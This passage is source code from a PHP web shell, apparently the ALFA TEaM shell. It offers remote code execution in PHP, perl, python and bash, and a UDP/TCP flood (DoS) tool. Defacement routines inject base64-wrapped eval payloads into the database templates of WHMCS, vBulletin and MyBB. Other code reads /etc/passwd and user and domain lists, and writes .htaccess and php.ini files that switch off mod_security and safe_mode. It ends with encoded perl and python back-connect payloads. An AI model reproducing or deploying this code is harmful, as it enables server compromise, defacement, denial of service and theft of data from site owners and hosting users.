.'<td class="listing"><font class="highlight_txt">Param</td>'
.'<td class="listing"><font class="highlight_txt">Global value</td>'
.'<td class="listing"><font class="highlight_txt">Local Value</td>'
.'<td class="listing"><font class="highlight_txt">Access</td></tr>';
foreach ($INI as $param => $values)
print "\n".'<tr>'
.'<td class="listing"><b>'.$param.'</td>'
.'<td class="listing">'.$values['global_value'].' </td>'
.'<td class="listing">'.$values['local_value'].' </td>'
.'<td class="listing">'.$values['access'].' </td></tr>';
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'info')) {
echo '<div class=header><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'exten')) {
echo '<div class=header>';
ob_start();
$EXT=get_loaded_extensions();
echo '<table border=0><tr><td class="listing">'.implode('</td></tr>'."\n".'<tr><td class="listing">', $EXT).'</td></tr></table>'.count($EXT).' extensions loaded';
echo '</div><br>';
}
$lang_html = "";
foreach(array("php"=>"php ~> [ Windows / Linux ]","perl"=>"perl ~> [ Linux ]","python"=>"python ~> [ Linux ]","bash"=>"bash ~> [ Linux ]") as $key=>$val){$lang_html .= '<option value="'.$key.'" '.($_POST["alfa3"]==$key?"selected":"").'>'.$val.'</option>';}
echo '<div class=header><Center><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form class="php-evals" name="pf" method="post" onsubmit="var ace_value=geEvalAceValue(this);g(\'phpeval\',null,ace_value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">'.$lang_html.'</select>'._alfa_load_ace_options("eval").'<br><br><div class="bigarea" style="position:relative;"><div class="php-evals-ace">'.(!empty($_POST['alfa1'])?htmlspecialchars($_POST['alfa1']):"&lt;?php\n\n\techo('hello alfa !');\n\n?>").'</div></div><center><input type="submit" value="" style="margin-top:5px"></center>';
echo '</form><pre id="PhpOutput" style="'.(empty($_POST['alfa1'])?'display:none;':'').'margin-top:5px;" class="ml1">';
if(!empty($_POST['alfa1'])){
if($_POST['alfa3']=="php"){
ob_start();
eval('?>'.$_POST['alfa1']);
$result = htmlspecialchars(ob_get_clean());
}elseif(_alfa_can_runCommand()&&$GLOBALS["sys"]=="unix"){
	$lang = $_POST['alfa3'];
	$filename = "temp".rand(11111,99999);
	$temp = $tempdir."/".$filename ;
	__write_file($filename, $_POST['alfa1']);
	$result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");
	@unlink($filename);
	@unlink($temp);
}
echo '<textarea class="bigarea">'.$result.'</textarea>';
}
echo '</pre></div>';
alfafooter();
}
function alfahash(){
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64_encode ( $string )' => '__ZW5jb2Rlcg($s)',
'Base64_decode ( $string )' => '__ZGVjb2Rlcg($s)',
'strrev ( $string )' => 'strrev($s)',
'bin2hex ( $string )' => 'bin2hex($s)',
'hex2bin ( $string )' => 'hex2bin($s)',
'md5 ( $string )' => 'md5($s)',
'sha1 ( $string )' => 'sha1($s)',
'hash ( "sha251", $string ) --> sha251' => 'hash("sha256",$s)',
'hash ( "sha384", $string ) --> sha384' => 'hash("sha384",$s)',
'hash ( "sha512", $string ) --> sha512' => 'hash("sha512",$s)',
'crypt ( $string )' => 'crypt($s)',
'crc32 ( $string )' => 'crc32($s)',
'str_rot13 ( $string )' => 'str_rot13($s)',
'urlencode ( $string )' => 'urlencode($s)',
'urldecode  ( $string )' => 'urldecode($s)',
'full_urlencode  ( $string )' => 'full_urlencode($s)',
'htmlspecialchars  ( $string )' => 'htmlspecialchars($s)',
'base64_encode (gzdeflate( $string , 9)) --> Encode' => '__ZW5jb2Rlcg(gzdeflate($s, 9))',
'gzinflate (base64_decode( $string )) --> Decode' => '@gzinflate(__ZGVjb2Rlcg($s))',
'str_rot13 (base64_encode( $string )) --> Encode' => 'str_rot13(__ZW5jb2Rlcg($s))',
'base64_decode (str_rot13( $string )) --> Decode' => '__ZGVjb2Rlcg(str_rot13($s))',
'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode' => 'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))',
'gzinflate (base64_decode(str_rot13( $string ))) --> Decode' => '@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))',
);
alfahead();
echo '<div class=header>';
echo "<form onSubmit='g(\"hash\",null,this.selectTool.value,this.input.value);return false;'><div class='txtfont'>Method:</div> <select name='selectTool' style='width:400px;'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."' ".($_POST['alfa1']==$v?'selected':'').">".$k."</option>";
echo "</select> <input type='submit' value=' '/><br><textarea  name='input' style='margin-top:5px' class='bigarea'>".(empty($_POST['alfa1'])?'':htmlspecialchars(@$_POST['alfa2']))."</textarea></form>";
if(!empty($_POST['alfa1'])){
$string = addslashes($_POST['alfa2']);
$string = str_replace('\"','"',$string);
$alg = $_POST['alfa1'];
$code = str_replace('$s',"'".$string."'",$alg);
ob_start();
eval('echo '.$code.';');
$res = ob_get_contents();
ob_end_clean();
if(in_array($alg, $stringTools))echo '<textarea class="bigarea">'.htmlspecialchars($res).'</textarea>';
}
echo "</div>";
alfaFooter();
}
function alfados(){
alfahead();
echo '<div class=header>';
echo '<center><p><div class="txtfont_header">| DOS |</div></p><form onSubmit="g(\'dos\',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;"><div class="txtfont">Method : <select name="m" style="width:80px;"><option value="udp">UDP</option><option value="tcp">TCP</option></select> Host : <input name="host" type="text" value="localhost" size="25" /> Time : <input name="time" type="text" size="15" /> Port : <input name="port" type="text" size="10" /> <input type="submit" value=" " /></div></form></center><br>';
if(!empty($_POST['alfa1']) && !empty($_POST['alfa2']) && !empty($_POST['alfa3'])){
echo __pre();
$packets=0;
ignore_user_abort(true);
$exec_time=(int)$_POST['alfa2'];
$time=time();
$max_time=$exec_time+$time;
$host=$_POST['alfa1'];
$port=(int)$_POST['alfa3'];
$method=$_POST['alfa4'];
$out = str_repeat('X',65000);
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = @fsockopen($method.'://'.$host, $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<center>$packets (" . @round(($packets*65)/1024, 2) . " MB) packets averaging ". @round($packets/$exec_time, 2) . " packets per second</center>";
echo "</pre>";
}
echo '</div>';
alfafooter();
}
function __pre(){return('<pre id="strOutput" style="margin-top:5px" class="ml1">');}
function alfaIndexChanger(){
alfahead();

echo '<div class=header><center><p><div class="txtfont_header">| Index Changer |</div></p><h3><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,null,\'whmcs\')">| Whmcs | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,\'vb\',null)">| vBulletin | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,\'mybb\')">| MyBB | </a></h3></center>';
if(isset($_POST['alfa3'])&&($_POST['alfa3'] == 'whmcs')){
echo __pre();

echo "<center><center><div class='txtfont_header'>| Whmcs |</div>
<p><center>".getConfigHtml('whmcs')."<form onSubmit=\"g('IndexChanger',null,null,null,'whmcs',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\">
";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'URL', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'File Name', 'inputName' => 'fname', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>
<textarea name=index rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
<input type='submit' value=' '>
</form></center></center>";
if(isset($_POST['alfa6'])){
$s0levisible="Powered By Solevisible";
$dbu = $_POST['alfa6'];
$path = $_POST['alfa5'];
$fname = $_POST['alfa4'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$index = $_POST['alfa10'];
$index = str_replace("\'","'",$index);
$deface = '$x = base64_decode("'.__ZW5jb2Rlcg($index).'"); $solevisible = fopen("'.$fname.'","w"); fwrite($solevisible,$x);';
$saveData = __ZW5jb2Rlcg($deface);
$Def = '{php}eval(base64_decode("'.$saveData.'"));{/php}';
if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){
$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$soleSave=@mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'");
$soleGet = mysqli_fetch_assoc($soleSave);
$tempSave1 = $soleGet['message'];
$tempSave = str_replace("'","\'",$tempSave1);
$inject = "UPDATE tblemailtemplates SET message='$Def' WHERE name='Password Reset Validation'";
$result=@mysqli_query($conn,$inject) or die (mysqli_error($conn));
$create = "insert into tblclients (email) values('solevisible@fbi.gov')";
$result2 =@mysqli_query($conn,$create) or die (mysqli_error($conn));
if(function_exists('curl_version')){
$AlfaSole = new AlfaCURL(true);
$saveurl = $AlfaSole->Send($path."/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");
$backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
__alert('File Created...');
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='".$path."/".$fname."'>Click Here !</a></font></b></center><br><br>";
}else{
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target </font><font color=red>\" ".$path."/pwreset.php \"</font><br/><font color=\"#FFFFFF\"> and reset password with email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\"#FFFFFF\">and go to</font> <font color=red>\" ".$path."/".$fname." \"</font></b></center><br><br>";
}}}}
if(isset($_POST['alfa1']) && ($_POST['alfa1'] == 'vb')){
echo __pre();

echo "<center><center><div class='txtfont_header'>| vBulletin |</div>
<p><center>".getConfigHtml('vb')."<form onSubmit=\"g('IndexChanger',null,'vb',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,'>>'); return false;\">
";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Prefix', 'inputName' => 'prefix', 'id' => 'db_prefix', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>
<textarea name='index' rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
<input type='submit' value=' '></form></center></center>";
if($_POST['alfa8']=='>>'){
$s0levisible="Powered By Solevisible";
$dbu = $_POST['alfa2'];
$dbn = $_POST['alfa3'];
$dbp = $_POST['alfa4'];
$dbh = $_POST['alfa5'];
$index = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= __ZW5jb2Rlcg("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}";
if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){
$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$loli1 = "UPDATE ".$prefix."template SET template='".$set_index."".$s0levisible."' WHERE title='spacer_open'";
$loli2 = "UPDATE ".$prefix."template SET template='".$set_index."".$s0levisible."' WHERE title='FORUMHOME'";
$loli3 = "UPDATE ".$prefix."style SET css='".$set_index."".$s0levisible."', stylevars='', csscolors='', editorstyles=''";
@mysqli_query($conn,$loli1) or die (mysqli_error($conn));
@mysqli_query($conn,$loli2) or die (mysqli_error($conn));
@mysqli_query($conn,$loli3) or die (mysqli_error($conn));
__alert('VB index changed...!');
}
}
}
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'mybb')) {
echo __pre();

echo "<center><center><div class='txtfont_header'>| Mybb |</div>
<p><center>".getConfigHtml('mybb')."<form onSubmit=\"g('IndexChanger',null,'null','mybb',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\" method=POST action=''>
";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'mybbdbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'mybbdbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'mybbdbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'mybbdbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>
<textarea name=mybbindex rows='19' cols='103'>
<title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><p><input type='submit' value='' ></p></form></center></center>";
if(isset($_POST['alfa6'])){
$mybb_dbh = $_POST['alfa6'];
$mybb_dbu = $_POST['alfa7'];
$mybb_dbn = $_POST['alfa8'];
$mybb_dbp = $_POST['alfa9'];
$mybb_index = $_POST['alfa10'];
if(!empty($mybb_dbh)&&!empty($mybb_dbu)&&!empty($mybb_dbn)&&!empty($mybb_index)){
$conn=@mysqli_connect($mybb_dbh,$mybb_dbu,$mybb_dbp,$mybb_dbn) or die(mysqli_error($conn));
$prefix="mybb_";
$loli7 = "UPDATE ".$prefix."templates SET template='".$mybb_index."' WHERE title='index'";
$result =@mysqli_query($conn,$loli7) or die (mysqli_error($conn));
__alert('MyBB index changed...!');
}
}
}
echo "</div>";
alfafooter();
}
function alfaproc()
{
alfahead();
echo "<Div class=header><br><center>";
if(empty($_POST['ajax'])&&!empty($_POST['alfa1']))
$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
if($GLOBALS['sys']=="win"){
$process=array(
"Task List" =>"tasklist /V",
"System Info" =>"systeminfo",
"Active Connections" => "netstat -an",
"Running Services" => "net start",
"User Accounts" => "net user",
"Show Computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);}else{
$process=array(
"Process status" => "ps aux",
"Syslog" =>"cat /etc/syslog.conf",
"Resolv" => "cat /etc/resolv.conf",
"Hosts" =>"cat /etc/hosts",
"Cpuinfo"=>"cat /proc/cpuinfo",
"Version"=>"cat /proc/version",
"Sbin"=>"ls -al /usr/sbin",
"Interrupts"=>"cat /proc/interrupts",
"lsattr"=>"lsattr -va",
"Uptime"=>"uptime",
"Fstab" =>"cat /etc/fstab"
);}
foreach($process as $n => $link){
echo '<a href="javascript:void(0);" onclick="g(\'proc\',null,\''.$link.'\')"> | '.$n.' | </a>';
}
echo "</center><br>";
if(!empty($_POST['alfa1'])){
echo "<pre class='ml1' style='margin-top:5px' >";
if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd '".addslashes($_POST["c"])."';";}
echo alfaEx($cmd.$_POST['alfa1'], true);
echo '</pre>';
}
echo "</div>";
alfafooter();
}
function alfasafe(){
alfahead();
echo "<div class=header><center><br><div class='txtfont_header'>| Auto ByPasser |</div>";
echo '<h3><a href=javascript:void(0) onclick="g(\'safe\',null,\'php.ini\',null)">| PHP.INI | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,\'ini\')">| .htaccess(apache) | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,\'pl\')">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,\'passwd\')">| Read-Passwd | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,\'users\')">| Read-Users | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,\'valiases\')">| Get-User | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,null,null,\'domains\')">| Get-Domains | </a></center></h3>';
if(!empty($_POST['alfa8']) && isset($_POST['alfa8']) == 'domains'){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
echo __pre();
$solevisible9 = _alfa_file('/etc/named.conf');
if(is_array($solevisible9)){
foreach($solevisible9 as $solevisible13){
if(@eregi('zone',$solevisible13)){
preg_match_all('#zone "(.*)"#',$solevisible13,$solevisible14);
if(strlen(trim($solevisible14[1][0])) > 2){
echo $solevisible14[1][0].'<br>';
}}}
}
}else{
echo __pre();
$users = _alfa_file("/etc/virtual/domainowners");
if(is_array($users)){
foreach($users as $boz){
$dom = explode(":",$boz);
echo $dom[0]."\n";}}}}
if(!empty($_POST['alfa6']) && isset($_POST['alfa6']) == 'valiases'){
echo '
<form onsubmit="g(\'safe\',null,null,null,null,null,null,\'valiases\',this.site.value,null,\'>>\'); return false;" method="post" /><center><div class="txtfont">Url: </font><input type="text" placeholder="site.com" name="site" /> <input type="submit" value=" " name="go" /></form></center>';
if(isset($_POST['alfa9']) && $_POST['alfa9'] == '>>'){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
$site = trim($_POST['alfa7']);
$rep = str_replace(array("https://","http://","www."),"",$site);
$user = "";
if(function_exists("posix_getpwuid") && function_exists("fileowner")){
	if($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){
		$user = $user['name'];
	}
}else{
	if(_alfa_can_runCommand(true,true)){
		$user = alfaEx("stat -c '%U' /etc/valiases/".$rep);
	}
}
if(!empty($user)&&$user!='root'){
echo __pre()."<center><table border='1'><tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user}</font></b></td></tr><tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
}else {echo __pre().'<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>';}
}else{
$site = trim($_POST['alfa7']);
$rep = str_replace(array("https://","http://","www."),"",$site);
$users = _alfa_file("/etc/virtual/domainowners");
foreach($users as $boz){
$ex = explode(":",$boz);
if($ex[0] == $rep){
echo __pre()."<center><table border='1'>
<tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">".trim($ex[1])."</font></b></td></tr>
<tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";break;}}}}}
if(!empty($_POST['alfa5']) && isset($_POST['alfa5'])){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
echo __pre();
$i = 0;
while ($i < 60000) {
$line = @posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vl) = each($line)){
echo $vl."\n";
break;}}$i++;}
}else{echo __pre();
$users = _alfa_file("/etc/virtual/domainowners");
foreach($users as $boz){
$user = explode(":",$boz);
echo trim($user[1]).'<br>';}}}
if(!empty($_POST['alfa4']) && isset($_POST['alfa4'])){
echo __pre();
if(_alfa_can_runCommand(true,true)){echo __read_file("/etc/passwd");}elseif(function_exists("posix_getpwuid")){
for($uid=0;$uid<60000;$uid++){
$ara = @posix_getpwuid($uid);
if(!empty($ara)){
while(list ($key, $val) = each($ara)){
echo "$val:";
}echo "\n";}}
}else{__alert('failed...');}}
if(!empty($_POST['alfa2']) && isset($_POST['alfa2'])){
@__write_file($GLOBALS['cwd'].".htaccess","#Generated By Sole Sad and Invisible\n<IfModule mod_security.c>\nSec------Engine Off\nSec------ScanPOST Off\n</IfModule>");
echo '<center><b><big>htaccess for Apache created...!</center></b></big>';
}
if(!empty($_POST['alfa1'])&& isset($_POST['alfa1'])){
@__write_file($GLOBALS['cwd']."php.ini","safe_mode=OFF\ndisable_functions=ByPassed By Sole Sad & Invisible(ALFA TEaM)");
echo '<center><b><big> php.ini created...!</center></b></big>';
}
if(!empty($_POST['alfa3']) && isset($_POST['alfa3'])){
@__write_file($GLOBALS['cwd'].".htaccess","#Generated By Sole Sad and Invisible\n<Files *.php>\nForceType application/x-httpd-php4\n</Files>\n<IfModule mod_security.c>\nSecFilterEngine Off\nSecFilterScanPOST Off\n</IfModule>");
echo '<center><b><big>htaccess for Litespeed created...!</center></b></big>';
}
echo "<br></div>";
alfafooter();
}
function __get_resource($content){
return @gzinflate(__ZGVjb2Rlcg($content));
}
function __write_file($file, $content){
if($fh = @fopen($file, "wb")){
if(fwrite($fh, $content)!==false) return true;
}
return false;
}
function bcinit($evalType, $evalCode, $evalOptions, $evalArguments){
$res = "<font color='green'>[ Success...! ]</font>";
$err = "<font color='red'>[ Failed...! ]</font>";
if($evalOptions!="") $evalOptions = $evalOptions." ";
if($evalArguments!="") $evalArguments = " ".$evalArguments;
if($evalType=="c"){
$tmpdir = ALFA_TEMPDIR;
chdir($tmpdir);
if(is_writable($tmpdir)){
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".c";
$path = $filename;
if(__write_file($path, $evalCode)){
$ext = ($GLOBALS['sys']=='win')? ".exe":".out";
$pathres = $filename.$ext;
$evalOptions = "-o ".$pathres." ".$evalOptions;
$cmd = "gcc ".$evalOptions.$path;
alfaEx($cmd);
if(is_file($pathres)){
if(chmod($pathres, 0755)){
$cmd = $pathres.$evalArguments;
alfaEx($cmd);
}else{$res = $err;}
unlink($pathres);
}else{$res = $err;}
unlink($path);
}else{$res = $err;}
}
return $res;
}elseif($evalType=="java"){
$tmpdir = ALFA_TEMPDIR;
chdir($tmpdir);
if(is_writable($tmpdir)){
if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
$classname = trim($r[1]);
$filename = $classname;
}else{
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$evalCode = "class ".$filename." { ".$evalCode . " } ";
}
$path = $filename.".java";
if(__write_file($path, $evalCode)){
$cmd = "javac ".$evalOptions.$path;
alfaEx($cmd);
$pathres = $filename.".class";
if(is_file($pathres)){
if(chmod($pathres, 0755)){
$cmd = "java ".$filename.$evalArguments;
alfaEx($cmd);
}else{$res = $err;}
unlink($pathres);
}else{$res = $err;}
unlink($path);
}else{$res = $err;}
}
return $res;
}
return false;
}
function alfaconnect(){
alfahead();
$php="7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";
$python="pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";
